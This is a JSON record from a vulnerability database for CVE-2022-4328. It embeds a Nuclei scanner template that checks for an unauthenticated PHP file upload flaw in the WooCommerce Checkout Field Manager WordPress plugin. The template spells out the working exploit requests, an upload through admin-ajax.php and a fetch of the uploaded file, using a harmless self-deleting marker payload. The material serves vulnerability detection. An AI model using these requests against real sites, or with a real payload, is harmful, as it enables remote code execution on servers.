{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2022-4328/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2022-4328/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2022-4328/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2022-4328/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2022-4328/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2022-4328"},"sightings":{"href":"/api/v1/sightings/cve-2022-4328"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2022/CVE-2022-4328.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2022-4328\n\ninfo:\n  name: WooCommerce Checkout Field Manager < 18.0 - Arbitrary File Upload\n  author: theamanrawat\n  severity: critical\n  description: |\n    The WooCommerce Checkout Field Manager WordPress plugin before 18.0 does not validate files to be uploaded, which could allow unauthenticated attackers to upload arbitrary files such as PHP on the server.\n  impact: |\n    Unauthenticated attackers can upload arbitrary PHP files through the cfom_upload_file AJAX action without validation, achieving remote code execution on the WordPress server and potentially compromising the entire WooCommerce installation.\n  remediation: |\n    Fixed in version 18.0\n  reference:\n    - https://wpscan.com/vulnerability/4dc72cd2-81d7-4a66-86bd-c9cfaf690eed\n    - https://wordpress.org/plugins/n-media-woocommerce-checkout-fields/\n    - https://nvd.nist.gov/vuln/detail/CVE-2022-4328\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2022-4328\n    cwe-id: CWE-434\n    epss-score: 0.04427\n    epss-percentile: 0.90995\n    cpe: cpe:2.3:a:najeebmedia:woocommerce_checkout_field_manager:*:*:*:*:*:wordpress:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: najeebmedia\n    product: woocommerce_checkout_field_manager\n    framework: wordpress\n  tags: cve2022,cve,wp,n-media-woocommerce-checkout-fields,wpscan,rce,wordpress,wp-plugin,intrusive,najeebmedia,fileupload,vkev,vuln\n\nvariables:\n  string: \"CVE-2022-4328\"\n\nhttp:\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php?action=cfom_upload_file&name={{randstr}}.pHp HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=------------------------22728be7b3104597\n\n        --------------------------22728be7b3104597\n        Content-Disposition: form-data; name=\"file\"; filename=\"{{randstr}}.php\"\n        Content-Type: application/octet-stream\n\n        <?php echo md5(\"{{string}}\");unlink(__FILE__);?>\n\n        --------------------------22728be7b3104597--\n      - |\n        GET /wp-content/uploads/cfom_files/{{to_lower('{{randstr}}')}}.php HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body_2\n        words:\n          - '{{md5(string)}}'\n# digest: 4b0a00483046022100cc0ee7026061c1ab4b575eb138f0b4a804b144bb32e33553db5b10be2ddf7966022100c81a2a0bf02eadf8d7cadf2d828abb18a3da3734276ca8d3383347371ad1d154:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2022-4328"}